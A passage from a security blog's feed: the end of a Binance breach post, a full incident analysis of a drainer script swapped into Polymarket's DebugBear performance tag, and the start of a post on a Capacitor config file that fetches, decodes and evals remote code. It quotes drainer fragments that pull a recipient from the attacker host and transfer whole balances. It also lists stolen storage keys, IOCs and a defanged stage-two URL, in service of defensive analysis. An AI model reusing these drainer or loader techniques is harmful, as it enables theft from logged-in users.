  <li><strong>Keep long-lived tokens off laptops.</strong> Repository tokens, registry tokens, and cloud keys with no expiry are the most portable thing an attacker can take from a workstation.</li>
  <li><strong>Test the recovery path, not only the detection path.</strong> About half the loss was frozen because stablecoin issuers and networks moved within an hour of the first sweep. The other half sits in ETH and BTC that nobody can freeze. Know in advance who you would call, and how fast they can act.</li>
</ol>

<p>The principle this incident teaches is narrow and uncomfortable: a signature proves who authorized a transaction, not what the transaction does. Any system that treats those as the same question will eventually authorize the wrong thing, and it will do so with valid cryptography and a clean audit trail.</p>]]></content><author><name></name></author><category term="Threat Intel" /><category term="supply-chain" /><category term="devops" /><category term="ci-cd" /><category term="signing" /><category term="cryptocurrency" /><category term="binance" /><summary type="html"><![CDATA[Binance lost about $6.3 billion and says no private key leaked. Its own signing infrastructure produced every signature the attacker needed, including fifty EIP-7702 authorizations that handed a hot wallet to a 1.6 KB sweeper contract. The entry point its first update named was a DevOps engineer's laptop.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/binance-devops-laptop-signing-breach.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/binance-devops-laptop-signing-breach.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Page Load Is a Trust Boundary: The Polymarket Script Drain</title><link href="https://yeethsecurity.com/blog/2026-10-29-Polymarket-DebugBear-Drainer" rel="alternate" type="text/html" title="Page Load Is a Trust Boundary: The Polymarket Script Drain" /><published>2026-10-29T00:00:00+00:00</published><updated>2026-10-29T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/Polymarket-DebugBear-Drainer</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-29-Polymarket-DebugBear-Drainer"><![CDATA[<p>The file that drained Polymarket accounts was not a wallet exploit. It was 15,187 bytes of minified JavaScript, sitting at the URL a page-speed tag had used for more than a year, and it did nothing that the page could not already do. It read the login state from <code class="language-plaintext highlighter-rouge">localStorage</code>, walked React’s component tree until it found the object with <code class="language-plaintext highlighter-rouge">postOrder</code> and <code class="language-plaintext highlighter-rouge">createOrder</code>, and borrowed the signer attached to it.</p>

<p>The tag belonged to DebugBear, a real-user monitoring (RUM) product that measures how fast pages load. Polymarket embedded it on <code class="language-plaintext highlighter-rouge">polymarket.com</code>, as thousands of sites embed a performance or analytics snippet. On 29 October 2026, between roughly 16:54 and 18:00 UTC, the file at that URL stopped measuring anything. It started moving money at 17:10, using Polymarket’s own order book, its own relayer, and its own conditional-token contract.</p>

<p>Nothing was forged. Every transaction was valid, signed by the account that owned the funds, and relayed by the service that normally pays gas for users.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li>A third-party RUM script at <code class="language-plaintext highlighter-rouge">cdn.debugbear[.]com/C7xcKKrjUnXK.js</code> was replaced with a Polymarket-specific wallet drainer. The clean file was 60,493 bytes; the hostile one is 15,187 bytes.</li>
  <li>The drainer read <code class="language-plaintext highlighter-rouge">polymarket.auth.params</code>, <code class="language-plaintext highlighter-rouge">polymarket.auth.proxyWallet</code>, and <code class="language-plaintext highlighter-rouge">poly_clob_api_key_map</code>, then searched the running page for the live trading client and its signer.</li>
  <li>It handled two account types differently. Email-login (Magic) accounts had positions sold with fill-and-kill orders and no visible prompt. Browser-wallet accounts had outcome tokens moved by one ERC-1155 <code class="language-plaintext highlighter-rouge">safeBatchTransferFrom</code>, which requires a signature.</li>
  <li>Proceeds were routed through Polymarket’s gasless relayer and its pUSD conversion path. No private key, password, or seed phrase was taken.</li>
  <li>A recipient address received 28,636,284.45 POL, 36 position-token transfers from 33 deposit wallets, and about $16,700 in stablecoins between 17:10 and 18:03 UTC. It held roughly $2.5 million by 18:20 and forwarded everything by 18:38.</li>
  <li>Polymarket shipped a build without the script at 17:59:20 UTC and paused relayer actions. DebugBear told all RUM customers to remove the embed code at 18:00:58.</li>
  <li>The compromise mechanism is not public. The evidence shows a different server answering for the vendor hostname, not a file edited in the vendor’s storage bucket.</li>
</ul>

<h2 id="the-tag">The tag</h2>

<p>DebugBear’s RUM product works the way most of them do. The customer puts one script tag on every page. The browser fetches that file from the vendor’s CDN on each visit, runs it inside the page, and the script reports timings back to the vendor.</p>

<p>For Polymarket the file was <code class="language-plaintext highlighter-rouge">C7xcKKrjUnXK.js</code>, a per-project snippet key. Archived copies of that URL from June 2025 through the morning of 29 October are ordinary RUM code. The copy captured at 12:06 UTC on the day of the incident is 60,493 bytes, carries the configuration <code class="language-plaintext highlighter-rouge">"snippetKey":"C7xcKKrjUnXK"</code> and <code class="language-plaintext highlighter-rouge">"sendTo":"https://data.debugbear.com"</code>, and was served from Google Cloud Storage with standard object headers.</p>

<p>At 16:54:57 UTC, Cloudflare could not reach the origin behind <code class="language-plaintext highlighter-rouge">cdn.debugbear[.]com</code> and returned error 521. The hostile file served later carried an nginx <code class="language-plaintext highlighter-rouge">ETag</code> and an <code class="language-plaintext highlighter-rouge">nginx/1.24.0 (Ubuntu)</code> banner, not the storage headers the clean file had. By 20:37 UTC both <code class="language-plaintext highlighter-rouge">cdn.debugbear[.]com</code> and <code class="language-plaintext highlighter-rouge">data.debugbear[.]com</code> returned NXDOMAIN, and <code class="language-plaintext highlighter-rouge">debugbear.com</code> itself was still returning a Cloudflare origin error the next morning.</p>

<p>That sequence describes a change of origin, not an edit to a stored object. It does not establish who made the change or how.</p>

<h2 id="what-the-file-did">What the file did</h2>

<p>The payload is plain JavaScript, not obfuscated. It is a single minified function named <code class="language-plaintext highlighter-rouge">startdebugger</code>.</p>

<p><strong>Stage 1: wait for a logged-in trader.</strong> The script requests configuration from its data host, with hardcoded fallbacks: a recipient address, a $10 minimum account value, a $10 minimum per position, and POL as the payout token. It asks <code class="language-plaintext highlighter-rouge">polymarket.com/api/geoblock</code> for the visitor’s location and exits if the response marks them as blocked. It then reads three storage keys the application writes:</p>

<table>
  <thead>
    <tr>
      <th>Key</th>
      <th>Contents</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">polymarket.auth.params</code></td>
      <td>Login type (<code class="language-plaintext highlighter-rouge">eoa</code> or <code class="language-plaintext highlighter-rouge">magic</code>) and wallet address</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">polymarket.auth.proxyWallet</code></td>
      <td>The deposit wallet holding account funds</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">poly_clob_api_key_map</code></td>
      <td>Trading API credentials per wallet</td>
    </tr>
  </tbody>
</table>

<p>A visitor with no session, or no credentials for the logged-in wallet, goes no further.</p>

<p><strong>Stage 2: borrow the trading client.</strong> React stores component props and hook state on internal fiber objects attached to DOM elements under keys beginning <code class="language-plaintext highlighter-rouge">__reactFiber$</code>. The script collects up to 400 buttons, links and containers, then walks their fiber trees for up to five seconds or 60,000 nodes. It keeps any object that has a <code class="language-plaintext highlighter-rouge">postOrder</code> method and a <code class="language-plaintext highlighter-rouge">createOrder</code> or <code class="language-plaintext highlighter-rouge">createMarketOrder</code> method. That object is Polymarket’s order client, and it carries the signer.</p>

<p>If the client has not mounted yet, the script retries 15 times at 250 ms intervals. If it still fails, it sets <code class="language-plaintext highlighter-rouge">location.pathname</code> to <code class="language-plaintext highlighter-rouge">/&lt;wallet address&gt;</code>. The navigation reloads the page, and the script gets another attempt.</p>

<p><strong>Stage 3: move value.</strong> The script reads the deposit wallet’s token balances over Polygon RPC and up to 200 open positions from Polymarket’s data API. It compares cash against position value and takes the larger one first.</p>

<p>Cash is approved, converted, and swapped through a quote from <code class="language-plaintext highlighter-rouge">api.fun.xyz</code>, with the payout sent in POL to the recipient. A stablecoin transfer is the fallback. Each call set is wrapped in an EIP-712 <code class="language-plaintext highlighter-rouge">DepositWallet</code> message, signed with the page’s signer, and posted to <code class="language-plaintext highlighter-rouge">relayer-v2.polymarket.com/submit</code> with a one-hour deadline.</p>

<p>Positions worth more than $10 each are handled by account type.</p>

<p><strong>Stage 4: report.</strong> Three endpoints on <code class="language-plaintext highlighter-rouge">data.debugbear[.]com</code> receive the results: <code class="language-plaintext highlighter-rouge">/metrics/submit</code> for portfolio value and each position, <code class="language-plaintext highlighter-rouge">/metrics/update</code> for each cash sweep with its transaction hash, and <code class="language-plaintext highlighter-rouge">/metrics/handle</code> for each position transfer. Every report carries the deposit wallet, the login wallet, the login format, the operating system, a tracking UUID, and the visitor’s IP address and country as returned by the geoblock API.</p>

<p>The sales are followed by a balance poll that runs for 50 seconds. The poll assigns the new balance to the variable it then compares against, so it passes on the first read. The threat actor shipped a bug, and the loop is the kind of detail that separates a working tool from a script that was tested only against one account type.</p>

<h2 id="representative-logic">Representative logic</h2>

<p>Three fragments, ordered by how much can be verified about each.</p>

<p><strong>The file that should have loaded.</strong> From the archived clean copy, 60,493 bytes:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
  <span class="kd">const</span> <span class="nx">config</span> <span class="o">=</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">snippetKey</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">C7xcKKrjUnXK</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">sendTo</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">https://data.debugbear.com</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">version</span><span class="dl">"</span><span class="p">:</span><span class="mi">10</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">sampling</span><span class="dl">"</span><span class="p">:</span><span class="mi">2</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">includeSubdomains</span><span class="dl">"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span>
    <span class="p">...</span>
</code></pre></div></div>

<p>That is a monitoring script. It carries a snippet key, a data endpoint, a sampling rate and a version. It does not read wallet storage and it does not contain <code class="language-plaintext highlighter-rouge">postOrder</code>.</p>

<p><strong>The configuration fallback.</strong> From the captured drainer, as published in static analysis of the file:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">static</span> <span class="k">async</span> <span class="nf">getInitialData</span><span class="p">()</span> <span class="p">{</span>
  <span class="k">try</span> <span class="p">{</span>
    <span class="k">return</span> <span class="k">await </span><span class="p">(</span><span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">_apiUrl</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/metrics/init?referrer=</span><span class="dl">"</span> <span class="o">+</span> <span class="k">this</span><span class="p">.</span><span class="nx">TRACK_ID</span><span class="p">,</span> <span class="p">{</span> <span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">GET</span><span class="dl">"</span> <span class="p">})).</span><span class="nf">json</span><span class="p">()</span>
  <span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
    <span class="k">return</span> <span class="p">{</span> <span class="na">recipient</span><span class="p">:</span> <span class="nx">N</span><span class="p">,</span> <span class="na">minimalPerPosition</span><span class="p">:</span> <span class="mi">10</span><span class="p">,</span> <span class="na">minimalToProcess</span><span class="p">:</span> <span class="mi">10</span><span class="p">,</span> <span class="na">priorityToken</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POL</span><span class="dl">"</span> <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">N</code> is the hardcoded recipient. The shape matters more than the address: the destination is a remote setting with a local default. Blocking the hardcoded address removes the default configuration, not the capability.</p>

<p><strong>The sequence.</strong> The function names below come from a public review of a capture on the day of the incident. I have not read the drainer bytes myself, so treat the identifiers as labels for the described behaviour rather than as proof of the source text.</p>

<table>
  <thead>
    <tr>
      <th>Function</th>
      <th>Role</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">resolveAuthorization()</code></td>
      <td>Reads the three storage keys and the login type</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">foundClobClient()</code></td>
      <td>Walks React fiber state for the object with <code class="language-plaintext highlighter-rouge">postOrder</code> and <code class="language-plaintext highlighter-rouge">createOrder</code>, and keeps its signer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">getInitialData()</code></td>
      <td>Fetches the recipient and thresholds from <code class="language-plaintext highlighter-rouge">/metrics/init</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">signAndSubmitBatch()</code></td>
      <td>Builds the EIP-712 <code class="language-plaintext highlighter-rouge">DepositWallet</code> batch, requests the signature, posts to the relayer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X()</code></td>
      <td>Sends position tokens with <code class="language-plaintext highlighter-rouge">safeBatchTransferFrom</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Q()</code></td>
      <td>Runs the fill-and-kill sale ladder for Magic accounts, then sweeps the balance</td>
    </tr>
  </tbody>
</table>

<p>One reported fragment of the cash path:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">data</span><span class="p">:</span> <span class="nx">d</span><span class="p">.</span><span class="nx">encode</span><span class="p">.</span><span class="nf">transfer</span><span class="p">(</span><span class="nx">t</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">total</span><span class="p">)</span>
</code></pre></div></div>

<p>Here <code class="language-plaintext highlighter-rouge">t</code> is the recipient and <code class="language-plaintext highlighter-rouge">e.total</code> is the whole balance of the tracked collateral token. The recipient is a variable, the amount is the entire balance, and the signature comes from the page that loaded the script.</p>

<h2 id="two-account-types-two-paths">Two account types, two paths</h2>

<p>The distinction matters for anyone reading victim reports, because it explains who saw a prompt and who did not.</p>

<p><strong>Email login (Magic).</strong> Polymarket’s email accounts use an embedded wallet. During a session, the page can ask it to sign without a browser extension and without a confirmation window. The script sells each position with fill-and-kill orders: first at 97 percent of the current price, then 50 percent, then the market’s minimum tick. It skips closed, inactive and redeemable markets. This is the path behind the reports of accounts drained without a signature request.</p>

<p><strong>Browser wallet (EOA).</strong> A MetaMask or similar account cannot be signed silently. The script builds one <code class="language-plaintext highlighter-rouge">safeBatchTransferFrom</code> call on the Conditional Tokens contract, <code class="language-plaintext highlighter-rouge">0x4D97DCd97eC945f40cF65F87097ACe5EA0476045</code>, moving every qualifying outcome token to the recipient, and asks the wallet to sign. These users saw a signature request. Screenshots of one circulated during the incident.</p>

<p>Both paths end at the same relayer. Polymarket runs it so users never need POL for gas. On 29 October it paid the gas for the withdrawals too.</p>

<h2 id="timeline">Timeline</h2>

<p>All times UTC, 29 October 2026.</p>

<table>
  <thead>
    <tr>
      <th>Time</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>12:06:55</td>
      <td>Last clean capture of the script URL, 60,493 bytes, from the vendor’s storage bucket</td>
    </tr>
    <tr>
      <td>16:54:57</td>
      <td><code class="language-plaintext highlighter-rouge">cdn.debugbear[.]com</code> returns Cloudflare 521: origin not responding</td>
    </tr>
    <tr>
      <td>17:10:23</td>
      <td>First POL reaches the recipient address, Polygon block 96,392,296</td>
    </tr>
    <tr>
      <td>17:26:29</td>
      <td>First outcome tokens reach the recipient</td>
    </tr>
    <tr>
      <td>17:27:45</td>
      <td>A Cloudflare edge caches the hostile file</td>
    </tr>
    <tr>
      <td>17:30</td>
      <td>Users begin reporting drained accounts</td>
    </tr>
    <tr>
      <td>17:45:57</td>
      <td>A trader publicly reports an $800,000 loss and sold positions</td>
    </tr>
    <tr>
      <td>17:59:20</td>
      <td>Polymarket builds production with <code class="language-plaintext highlighter-rouge">chore(polymarket): remove debugbear rum script (#15337)</code></td>
    </tr>
    <tr>
      <td>18:00:58</td>
      <td>DebugBear tells all RUM customers to remove the embed code</td>
    </tr>
    <tr>
      <td>18:02:56</td>
      <td>Last token transfer into the recipient</td>
    </tr>
    <tr>
      <td>18:05</td>
      <td>Polymarket switches to cancel-only mode and pauses relayer actions</td>
    </tr>
    <tr>
      <td>18:19:58</td>
      <td>Recipient holds 28,636,284 POL</td>
    </tr>
    <tr>
      <td>18:28–18:38</td>
      <td>All POL forwarded to three wallets</td>
    </tr>
    <tr>
      <td>18:33:12</td>
      <td>Polymarket confirms a third-party provider was compromised and refers the matter to law enforcement</td>
    </tr>
    <tr>
      <td>19:00:35</td>
      <td>Trading fully back online</td>
    </tr>
    <tr>
      <td>20:37</td>
      <td>Both DebugBear hostnames return NXDOMAIN</td>
    </tr>
  </tbody>
</table>

<p>The build timestamp is not a deployment time. Browsers that already had the page open kept the script running until the tab was refreshed or closed. The last transfer arrived three and a half minutes after the build, which fits the gap between a release and every client picking it up.</p>

<h2 id="impact">Impact</h2>

<p>The recipient address was empty and had sent no transactions before 17:10. In the next 52 minutes it received:</p>

<ul>
  <li>28,636,284.45 POL, delivered through swap contracts</li>
  <li>36 transfers of position tokens from 33 deposit wallets</li>
  <li>10,383.33 USDC.e in 15 transfers and 6,320.69 USDC in 14 transfers</li>
</ul>

<p>It converted the stablecoins in four transactions, forwarded the position tokens in 25 transfers, and sent the POL out in three transfers between 18:28 and 18:38.</p>

<p>The dollar value depends on the POL price used; published figures range from about $2.5 million to $2.7 million. A separate trace counted 2.724M pUSD arriving from 721 source wallets. That is a count of transfer sources, not a confirmed victim count: one account can produce several, and swap contracts produce many. Polymarket has not published a user count or a loss figure. It has said affected traders will be made whole.</p>

<h2 id="what-the-evidence-does-not-show">What the evidence does not show</h2>

<p>Four things are commonly assumed and none of them is established.</p>

<p><strong>How the file was replaced.</strong> A different server answered for the vendor’s hostname. Whether that came from a DNS change, an origin compromise, a CDN configuration change, or something else is not public. DebugBear has not published a root cause. Treating the incident as “the vendor was hacked” is a guess with a plausible shape, not a finding.</p>

<p><strong>Intent.</strong> The payload is written for Polymarket alone. It reads Polymarket’s storage keys, calls Polymarket’s APIs, searches for Polymarket’s order client, and skips visitors its geoblock marks as blocked. That is a targeted tool. Targeting is not attribution, and it does not tell us how the file got there.</p>

<p><strong>Scope.</strong> DebugBear told every RUM customer to remove the embed, which is the correct response to an origin-level problem. No second victim is public, and the payload would not work on another site. Whether other customers were served a different payload is unknown.</p>

<p><strong>First-hand review.</strong> The clean file is verifiable: the archived 12:06:55 UTC response is 60,493 bytes with SHA-256 <code class="language-plaintext highlighter-rouge">0525f046c83daa429e0f676d36650d51d9e283ba5cacfa56097c80bad586128b</code>, and its configuration matches a monitoring script. The hostile file is not. The archive holds only a 521 error for the critical window, and the hostname no longer resolves, so the description of the payload rests on captures taken by others at 18:12 and 18:13 UTC and the analyses published from them. The behaviour described here is consistent across those analyses. The source text is not something this article can show.</p>

<p>The compromise also does not appear to be the first of its kind for this platform. Polymarket confirmed a third-party frontend script compromise in June 2026, with losses estimated near $3 million and full refunds promised. That vendor was never named publicly, and nothing published links the two events.</p>

<h2 id="why-page-load-is-the-wrong-trust-boundary">Why page load is the wrong trust boundary</h2>

<p>A page assembled from third-party scripts is a dependency graph with no lockfile. The site owner chooses a vendor, and the vendor’s file changes without a version number, a review, or a diff. The browser has one rule for it: same realm, same privileges as the application.</p>

<p>That rule is what makes the drainer work. The script did not need to defeat an authentication check, because it ran after authentication. It did not need to steal a session cookie, because it could use the session in place. It did not need a new domain, because every host it called was already in Polymarket’s Content Security Policy: <code class="language-plaintext highlighter-rouge">*.polymarket.com</code> for the APIs and relayer, <code class="language-plaintext highlighter-rouge">*.alchemy.com</code> for RPC, <code class="language-plaintext highlighter-rouge">*.fun.xyz</code> for swap quotes. The policy allowed the attack because the policy describes where the application legitimately sends value.</p>

<p>Content Security Policy answers “which hosts may this page talk to.” It does not answer “is this file the file I approved.” Subresource Integrity answers that question, and it fails closed on a swapped file. It also fails when the vendor updates the script, so most sites do not pin it. The honest trade-off is between a tag that can silently change and a tag that breaks on the vendor’s release schedule.</p>

<p>This is the same inversion we describe at the registry, one layer out. A developer installs an extension and inherits the authority of every dependency inside it. A visitor opens a page and inherits the authority of every script the page loads. In both cases the thing being trusted is not the thing that was reviewed. The difference is where the boundary sits: a package registry can refuse an artifact before anyone installs it. A runtime script has no equivalent chokepoint, no inventory, and no version to pin unless the site owner builds one.</p>

<h2 id="what-defenders-can-do">What defenders can do</h2>

<ul>
  <li>Inventory every third-party script on the pages that can move money. A script that only reports timings does not need to run on a withdrawal screen, and scoping it to marketing pages removes it from the blast radius.</li>
  <li>Pin what can be pinned. A <code class="language-plaintext highlighter-rouge">integrity</code> attribute on a vendor script would have blocked this swap. Where pinning breaks the vendor’s update flow, treat the tag as a privileged dependency and review it like code.</li>
  <li>Read the CSP as an attack map. Every host in <code class="language-plaintext highlighter-rouge">script-src</code>, <code class="language-plaintext highlighter-rouge">connect-src</code> and <code class="language-plaintext highlighter-rouge">frame-src</code> is a place value can go. An allowlist built for functionality is an allowlist available to whoever controls a script on the page.</li>
  <li>Separate signing from the page. A signer that only accepts requests originating from reviewed code, or that shows the full batch rather than a summary, removes the borrowed-client path. The drainer’s advantage was that the page’s own client could ask.</li>
  <li>Assume a removed tag is still running. Pausing the relayer and switching to cancel-only closed both paths for sessions that already had the script. A code change alone did not.</li>
</ul>

<p>The general principle: a page is an execution environment, not a document. Its trust boundary is the last script it loaded, not the domain in the address bar.</p>

<h2 id="outlook">Outlook</h2>

<p>Runtime dependencies are the cheapest place left to attack a financial application. The artifact is a text file at a URL, the delivery is one DNS or origin change at a vendor that many customers share, and the payload only has to work on one site to be worth writing.</p>

<p>Expect three things to follow. More vendor-hosted script compromises where the payload is written for a single customer, because that limits the number of parties who notice. More abuse of first-party transaction paths, because relayers, swap aggregators and gasless flows exist to remove friction for users and remove friction for whoever holds the session. And more pressure on subresource integrity and script allowlisting, because the alternative is trusting every tag on the page forever.</p>

<p>The June incident and this one are four months apart, on the same platform, through the same layer, with no smart contract involved either time. The contracts did what they were told.</p>

<h2 id="iocs">IOCs</h2>

<p><strong>Network</strong></p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Value</th>
      <th>Status</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Script URL</td>
      <td><code class="language-plaintext highlighter-rouge">https[://]cdn.debugbear[.]com/C7xcKKrjUnXK.js</code></td>
      <td>15,187 bytes at capture; host NXDOMAIN by 20:37 UTC</td>
    </tr>
    <tr>
      <td>Config and exfiltration host</td>
      <td><code class="language-plaintext highlighter-rouge">https[://]data.debugbear[.]com</code></td>
      <td>Paths <code class="language-plaintext highlighter-rouge">/metrics/init</code>, <code class="language-plaintext highlighter-rouge">/metrics/submit</code>, <code class="language-plaintext highlighter-rouge">/metrics/update</code>, <code class="language-plaintext highlighter-rouge">/metrics/handle</code>; NXDOMAIN by 20:37 UTC</td>
    </tr>
    <tr>
      <td>Clean file for the same URL</td>
      <td>60,493 bytes, <code class="language-plaintext highlighter-rouge">"snippetKey":"C7xcKKrjUnXK"</code></td>
      <td>Last capture 2026-10-29 12:06:55 UTC; hashed below</td>
    </tr>
  </tbody>
</table>

<p><strong>Files</strong></p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Value</th>
      <th>Context</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>SHA-256</td>
      <td><code class="language-plaintext highlighter-rouge">0755e767504d8103f6c27b9e765a1026507a17c04513242adb503df7777879e5</code></td>
      <td>Drainer, 15,187 bytes</td>
    </tr>
    <tr>
      <td>SHA-256</td>
      <td><code class="language-plaintext highlighter-rouge">0525f046c83daa429e0f676d36650d51d9e283ba5cacfa56097c80bad586128b</code></td>
      <td>Clean RUM file, 60,493 bytes, served until 29 October</td>
    </tr>
    <tr>
      <td>Function name</td>
      <td><code class="language-plaintext highlighter-rouge">startdebugger</code></td>
      <td>Drainer entry point</td>
    </tr>
    <tr>
      <td>Tracking ID in reports</td>
      <td><code class="language-plaintext highlighter-rouge">4c6b64a0-a7ef-4c0f-9c70-3a4e6f89065c</code></td>
      <td>Sent with every victim report</td>
    </tr>
  </tbody>
</table>

<p>The clean hash is the useful one for hunting. Any asset inventory still holding <code class="language-plaintext highlighter-rouge">0525f046…</code> is running the version that was safe, and any response that is 15 KB at that path is not the file the snippet key was issued for.</p>

<p><strong>Chain</strong></p>

<table>
  <thead>
    <tr>
      <th>Role</th>
      <th>Address</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Recipient embedded in payload (default)</td>
      <td><code class="language-plaintext highlighter-rouge">0x3F99139F1C5854bb628c2e576Aaf638e99dFfc18</code></td>
    </tr>
    <tr>
      <td>Position-token receiver</td>
      <td><code class="language-plaintext highlighter-rouge">0x5a2764fbbe5d139ef0ed988ec5f95320ce730c0b</code></td>
    </tr>
    <tr>
      <td>POL forwarding</td>
      <td><code class="language-plaintext highlighter-rouge">0xe4c4c39c1733e1c7c06b79f97ed442b68df41ec6</code>, <code class="language-plaintext highlighter-rouge">0x5392587814ce8c6af6789764f88e5e9ab0b9962c</code>, <code class="language-plaintext highlighter-rouge">0xc91ee0574a14446de200923729c349b9cae19b60</code></td>
    </tr>
    <tr>
      <td>Abused contract</td>
      <td><code class="language-plaintext highlighter-rouge">0x4D97DCd97eC945f40cF65F87097ACe5EA0476045</code> (Conditional Tokens)</td>
    </tr>
  </tbody>
</table>

<p>The default recipient is the one address an analyst can block with confidence. Because the destination comes from <code class="language-plaintext highlighter-rouge">/metrics/init</code>, a later deployment can point somewhere else while keeping the same code, so address blocking catches this run and not the next one.</p>

<p><strong>Behavioural</strong></p>

<table>
  <thead>
    <tr>
      <th>Pattern</th>
      <th>Detail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>RUM script reading wallet state</td>
      <td>Page-speed script accessing <code class="language-plaintext highlighter-rouge">polymarket.auth.proxyWallet</code> or equivalent trading-session keys</td>
    </tr>
    <tr>
      <td>Framework tree traversal</td>
      <td>Script walking <code class="language-plaintext highlighter-rouge">__reactFiber$</code> entries from DOM nodes to find an object with <code class="language-plaintext highlighter-rouge">postOrder</code> and <code class="language-plaintext highlighter-rouge">createOrder</code></td>
    </tr>
    <tr>
      <td>Forced reload</td>
      <td>Script setting <code class="language-plaintext highlighter-rouge">location.pathname</code> to <code class="language-plaintext highlighter-rouge">/&lt;wallet address&gt;</code> after failing to find the client</td>
    </tr>
    <tr>
      <td>Third-party script calling a first-party relayer</td>
      <td>A vendor-hosted file posting signed batches to the site’s own gasless relayer</td>
    </tr>
    <tr>
      <td>Telemetry-shaped C2</td>
      <td>Wallet addresses, balances and position titles posted to the monitoring vendor’s data host</td>
    </tr>
  </tbody>
</table>]]></content><author><name></name></author><category term="Threat Intel" /><category term="supply-chain" /><category term="web" /><category term="cryptocurrency" /><category term="third-party-script" /><category term="csp" /><category term="polymarket" /><summary type="html"><![CDATA[A 15 KB page-speed script walked Polymarket's React tree, found the live order client, and used the site's own gasless relayer to move about $2.5 million out of logged-in accounts in 52 minutes.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/polymarket-debugbear-drainer.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/polymarket-debugbear-drainer.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Four Ways a Repo Runs Code: The Capacitor ‘Auth Error’ Loader</title><link href="https://yeethsecurity.com/blog/2026-10-28-Capacitor-Auth-Error-Loader" rel="alternate" type="text/html" title="Four Ways a Repo Runs Code: The Capacitor ‘Auth Error’ Loader" /><published>2026-10-28T00:00:00+00:00</published><updated>2026-10-28T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/Capacitor-Auth-Error-Loader</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-28-Capacitor-Auth-Error-Loader"><![CDATA[<p>A file named <code class="language-plaintext highlighter-rouge">capacitor.config.ts</code> fetches a base64-encoded URL out of an environment variable, evaluates the response, and reports every failure as <code class="language-plaintext highlighter-rouge">Auth Error!</code>. It is 28 lines long. A correct one is 14.</p>

<p>The file reached a public repository the way most of this decade’s supply-chain problems do: inside a commit that had nothing to do with it. The commit is titled <code class="language-plaintext highlighter-rouge">docs: replace generic architecture diagram with real one</code>, and it carries roughly four thousand lines of FontAwesome font assets. The loader, the environment key, a hidden editor task, and a 29 KB obfuscated module sit in the same diff.</p>

<p>Two months earlier, the same repository had removed that exact loader. Three months before that, it had scrubbed the environment key. Nothing shipped in a package registry at any point, so no lockfile, advisory, or version range describes what happened.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li>A Capacitor config file is TypeScript that the Capacitor CLI imports on every <code class="language-plaintext highlighter-rouge">sync</code>, <code class="language-plaintext highlighter-rouge">open</code>, and <code class="language-plaintext highlighter-rouge">run</code>. It is code, and it runs before the app does.</li>
  <li>The loader reads a URL from <code class="language-plaintext highlighter-rouge">process.env.AUTH_API_KEY</code>, decodes it with <code class="language-plaintext highlighter-rouge">atob</code>, fetches it, and passes the response to <code class="language-plaintext highlighter-rouge">eval</code>. No domain appears in the source.</li>
  <li>One affected repository contains four independent paths to the same payload: a <code class="language-plaintext highlighter-rouge">folderOpen</code> VS Code task, the <code class="language-plaintext highlighter-rouge">dev</code> and <code class="language-plaintext highlighter-rouge">build</code> npm scripts, the config import, and a 31 KB obfuscated <code class="language-plaintext highlighter-rouge">init</code> module.</li>
  <li>Every failure is caught and printed as <code class="language-plaintext highlighter-rouge">Auth Error!</code>. A dead command server looks like a failed login.</li>
  <li>The repository had already removed this loader on 2026-08-18. It returned on 2026-10-18.</li>
  <li>Stage two, <code class="language-plaintext highlighter-rouge">https[://]files.catbox[.]moe/e8jt91.js</code>, now returns 404. The dropper remains in place.</li>
